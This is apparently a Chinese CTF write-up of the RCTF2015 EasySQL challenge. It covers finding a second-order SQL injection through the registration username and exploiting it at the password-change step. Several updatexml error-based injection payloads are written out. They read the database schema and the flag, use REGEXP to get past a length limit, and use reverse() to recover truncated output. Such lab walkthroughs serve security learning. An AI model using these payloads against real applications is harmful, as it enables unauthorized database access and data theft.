[RCTF2015]EasySQL

[RCTF2015]EasySQL

分析、测试

首先打开是拥有注册和登入的功能。

[RCTF2015]EasySQL_第1张图片

尝试了万能密码但是登入失败,应该是有防御的。害,老老实实的注册登入。

[RCTF2015]EasySQL_第2张图片

额叶良辰、赵日天,都是5年前的事情了。呢时候我还在高一,好快啊。

测试了一下好像都被限制死了,但是看见一个改密码的功能,呢应该是二次注入了。

重启一下容器回到注册界面测试

fuzz一下username发现确实有过滤,过滤了一些函数,长度为496都是报弹窗的,但是字符多是没有过滤的。

[RCTF2015]EasySQL_第3张图片 [RCTF2015]EasySQL_第4张图片

当我注册username为/zhh:" 时注册成功了。

[RCTF2015]EasySQL_第5张图片

修改密码的时候出现了报错回显!!我的用户名是/zhh:"有一个双引号,而且它是双引号包括的,就导致3个双引号报错。

[RCTF2015]EasySQL_第6张图片

应该是当注册用户的时候对用户名进行处理,然后修改密码中读取数据的没有处理了,导致报错。

构造payload

利用username数据处理不严格构造语句进行报错注入。

username=/zhh:"||(updatexml(1,concat(0x3a,(database())),1))#
password=123123
email=123123

2.登入

[RCTF2015]EasySQL_第7张图片

3.修改密码后报错出现数据库为web_sqli

[RCTF2015]EasySQL_第8张图片

4.查看表

username=zbt/"or(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli'))),1))#

[RCTF2015]EasySQL_第9张图片

5.查询flag表

username=zbt/"or(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1))#

username=zbt/"or(updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag))),1))#


调皮

6.最后在user表里找到falg。


说我的字段列表不存在,对比上面的查询结果,才发现输出有长度限制,没报完字段名。

说明有长度限制,可是mysql截取的函数都被过滤了,看了大佬的博客才知道REGEXP这玩意。

mysql正则表达函数REGEXP绕过长度限制

菜鸟教程REGEXP

完整查询

username=zhh11"or(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1))#

flag长度限制

1.这xxx也是长度限制

username=zhh"or(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users))),1))#&password=123123&email=123123#


出来一半

username=zhh"or(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#

[RCTF2015]EasySQL_第10张图片

2.reverse逆向输出

username=zhh"or(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

[RCTF2015]EasySQL_第11张图片

8.

4.完事下班

参考:
高诺琪
peri0d

你可能感兴趣的:([RCTF2015]EasySQL)